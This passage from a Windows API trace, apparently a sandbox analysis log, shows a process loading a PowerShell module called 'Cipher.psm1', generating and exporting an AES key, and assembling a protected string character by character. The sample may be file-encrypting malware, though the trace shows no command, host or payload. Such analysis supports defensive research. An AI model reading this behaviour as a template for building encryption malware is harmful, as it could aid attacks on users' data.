Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.380] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.381] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.381] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.381] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.382] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x8e02360) returned 1 [0128.382] CryptGenKey (in: hProv=0x8e02360, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84f78) returned 1 [0128.382] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.383] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.383] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6943ec8, pdwDataLen=0x99ae7f8 | out: pbData=0x6943ec8*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.383] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.383] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.383] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.383] SysStringLen (param_1="") returned 0x8 [0128.383] SysStringLen (param_1="k") returned 0x8 [0128.384] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="\x56ec\x8aff\xe839\xcb41\x41b5\xe10b\xf7ee\xca3c") returned 0x8 [0128.384] SysStringLen (param_1="\x56ec\x8aff\xe839\xcb41\x41b5\xe10b\xf7ee\xca3c") returned 0x8 [0128.384] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="kM") returned 0x8 [0128.384] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="\x5be0\x2765\x9d97\xea1f\x97b9\xbfa\xbc5d\xf0ce") returned 0x8 [0128.384] SysStringLen (param_1="\x5be0\x2765\x9d97\xea1f\x97b9\xbfa\xbc5d\xf0ce") returned 0x8 [0128.384] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="kMA") returned 0x8 [0128.384] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="\x7037\xa59d\xdfee\x41ac\x220\xe922\xc460\x432c") returned 0x8 [0128.384] SysStringLen (param_1="\x7037\xa59d\xdfee\x41ac\x220\xe922\xc460\x432c") returned 0x8 [0128.384] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="kMAP") returned 0x8 [0128.384] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.384] SysStringLen (param_1="\xc683\x788b\x4100\x6c74\xa87a\x68c\xd338\x636e") returned 0x8 [0128.385] SysStringLen (param_1="\xc683\x788b\x4100\x6c74\xa87a\x68c\xd338\x636e") returned 0x8 [0128.385] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="kMAPG") returned 0x8 [0128.385] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="\x1aed\x2661\x70c2\x69ec\x6196\x5247\x75f2\x7ccc") returned 0x8 [0128.385] SysStringLen (param_1="\x1aed\x2661\x70c2\x69ec\x6196\x5247\x75f2\x7ccc") returned 0x8 [0128.385] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="kMAPGS") returned 0x8 [0128.385] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="\x23e6\x55fd\xe69c\xe8eb\x6b35\xfa79\x3695\x4c9d") returned 0x8 [0128.385] SysStringLen (param_1="\x23e6\x55fd\xe69c\xe8eb\x6b35\xfa79\x3695\x4c9d") returned 0x8 [0128.385] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="kMAPGSx") returned 0x8 [0128.385] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="\x3992\xb4dc\x8d8c\x4591\xdc61\x13ff\x23ba\xaecb") returned 0x8 [0128.385] SysStringLen (param_1="\x3992\xb4dc\x8d8c\x4591\xdc61\x13ff\x23ba\xaecb") returned 0x8 [0128.385] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.385] SysStringLen (param_1="kMAPGSxT") returned 0x8 [0128.385] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2") returned 0x8 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2") returned 0x8 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2") returned 0x8 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2") returned 0x10 [0128.386] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="kMAPGSxTt倝㐥Վ숧侓") returned 0x10 [0128.386] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x9ddb\x3a90\xa9b\xd0dd\x833c\x998d\xa716\xc769") returned 0x10 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x9ddb\x3a90\xa9b\xd0dd\x833c\x998d\xa716\xc769") returned 0x10 [0128.386] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="kMAPGSxTtt㐥Վ숧侓") returned 0x10 [0128.386] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x7592\xa3ff\xeaa9\xe143\x8137\xe9c3\xd052\x1820") returned 0x10 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x7592\xa3ff\xeaa9\xe143\x8137\xe9c3\xd052\x1820") returned 0x10 [0128.386] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="kMAPGSxTttkՎ숧侓") returned 0x10 [0128.386] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x2fce\x94dc\xf199\xbefd\x8c3a\x94b2\xbf72\xbc1f") returned 0x10 [0128.386] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x2fce\x94dc\xf199\xbefd\x8c3a\x94b2\xbf72\xbc1f") returned 0x10 [0128.386] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.386] SysStringLen (param_1="kMAPGSxTttkj숧侓") returned 0x10 [0128.386] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x1d3b\xd12\xa069\x87cb\x542d\xc53f\x90fa\x89a0") returned 0x10 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x1d3b\xd12\xa069\x87cb\x542d\xc53f\x90fa\x89a0") returned 0x10 [0128.387] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="kMAPGSxTttkjn侓") returned 0x10 [0128.387] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x3263\xb9a6\x1937\x3eca\x47b7\x3c80\x4bf6\xf82c") returned 0x10 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x3263\xb9a6\x1937\x3eca\x47b7\x3c80\x4bf6\xf82c") returned 0x10 [0128.387] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="kMAPGSxTttkjnp侓") returned 0x10 [0128.387] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x25f3\x27f4\x91b0\x1dc0\x19f0\x99be\x6b22\xe226") returned 0x10 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x25f3\x27f4\x91b0\x1dc0\x19f0\x99be\x6b22\xe226") returned 0x10 [0128.387] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="kMAPGSxTttkjnp0") returned 0x10 [0128.387] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x2786\xc34e\x7861\x39f2\x28cc\x4134\x1d7c\x8b51") returned 0x10 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\x2786\xc34e\x7861\x39f2\x28cc\x4134\x1d7c\x8b51") returned 0x10 [0128.387] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="kMAPGSxTttkjnp0j") returned 0x10 [0128.387] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f") returned 0x10 [0128.387] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f") returned 0x10 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f") returned 0x10 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f") returned 0x18 [0128.388] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="kMAPGSxTttkjnp0jc뚺踱㞽邂͖䷼") returned 0x18 [0128.388] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x4490\xf7e3\x91ee\xe962\xfa23\xc893\x7353\x53e6") returned 0x18 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x4490\xf7e3\x91ee\xe962\xfa23\xc893\x7353\x53e6") returned 0x18 [0128.388] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="kMAPGSxTttkjnp0jcy踱㞽邂͖䷼") returned 0x18 [0128.388] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\xf90b\x8c37\xef28\x2555\x8c47\x21ec\x7e65\x5fac") returned 0x18 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\xf90b\x8c37\xef28\x2555\x8c47\x21ec\x7e65\x5fac") returned 0x18 [0128.388] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="kMAPGSxTttkjnp0jcym㞽邂͖䷼") returned 0x18 [0128.388] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\xb8bf\xae96\x6e64\x5d7f\x12bf\x5478\xcc32\xedc4") returned 0x18 [0128.388] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\xb8bf\xae96\x6e64\x5d7f\x12bf\x5478\xcc32\xedc4") returned 0x18 [0128.388] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.388] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI邂͖䷼") returned 0x18 [0128.388] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x81ca\x11e1\x7430\x7a5f\xbc0a\xd10d\xe326\x32a7") returned 0x18 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x81ca\x11e1\x7430\x7a5f\xbc0a\xd10d\xe326\x32a7") returned 0x18 [0128.389] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI+邂͖䷼") returned 0x18 [0128.389] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x12da\x844e\x427e\xf3b9\x8a1\xd04d\x3e6c\xb2f8") returned 0x18 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x12da\x844e\x427e\xf3b9\x8a1\xd04d\x3e6c\xb2f8") returned 0x18 [0128.389] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++͖䷼") returned 0x18 [0128.389] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\xa606\x243c\xd339\xdf5e\xb054\xbbf7\x93c9\xe38b") returned 0x18 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\xa606\x243c\xd339\xdf5e\xb054\xbbf7\x93c9\xe38b") returned 0x18 [0128.389] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++V䷼") returned 0x18 [0128.389] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x1504\xd018\x19d9\xd221\x8b82\x882c\x06\xfac8") returned 0x18 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x1504\xd018\x19d9\xd221\x8b82\x882c\x06\xfac8") returned 0x18 [0128.389] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD") returned 0x18 [0128.389] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736") returned 0x18 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736") returned 0x18 [0128.389] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736") returned 0x18 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736") returned 0x20 [0128.390] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7뵭䂩솾넺럥") returned 0x20 [0128.390] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x860\x2f20\x7c13\x69e0\xfd03\x826a\x593a\xcada") returned 0x20 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x860\x2f20\x7c13\x69e0\xfd03\x826a\x593a\xcada") returned 0x20 [0128.390] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7j䂩솾넺럥") returned 0x20 [0128.390] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x522c\x1aa0\x3b4b\xf57\xefe5\xa703\x6e0f\xe608") returned 0x20 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x522c\x1aa0\x3b4b\xf57\xefe5\xa703\x6e0f\xe608") returned 0x20 [0128.390] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7je䂩솾넺럥") returned 0x20 [0128.390] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e9\x4d4\x57f2\xeb65\xed23\x171e\x18f4\xf0e3") returned 0x20 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e9\x4d4\x57f2\xeb65\xed23\x171e\x18f4\xf0e3") returned 0x20 [0128.390] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jef솾넺럥") returned 0x20 [0128.390] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.390] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x4322\x6f91\xae85\xc767\x3bd6\x2652\xc211\x6e94") returned 0x20 [0128.390] SysStringLen 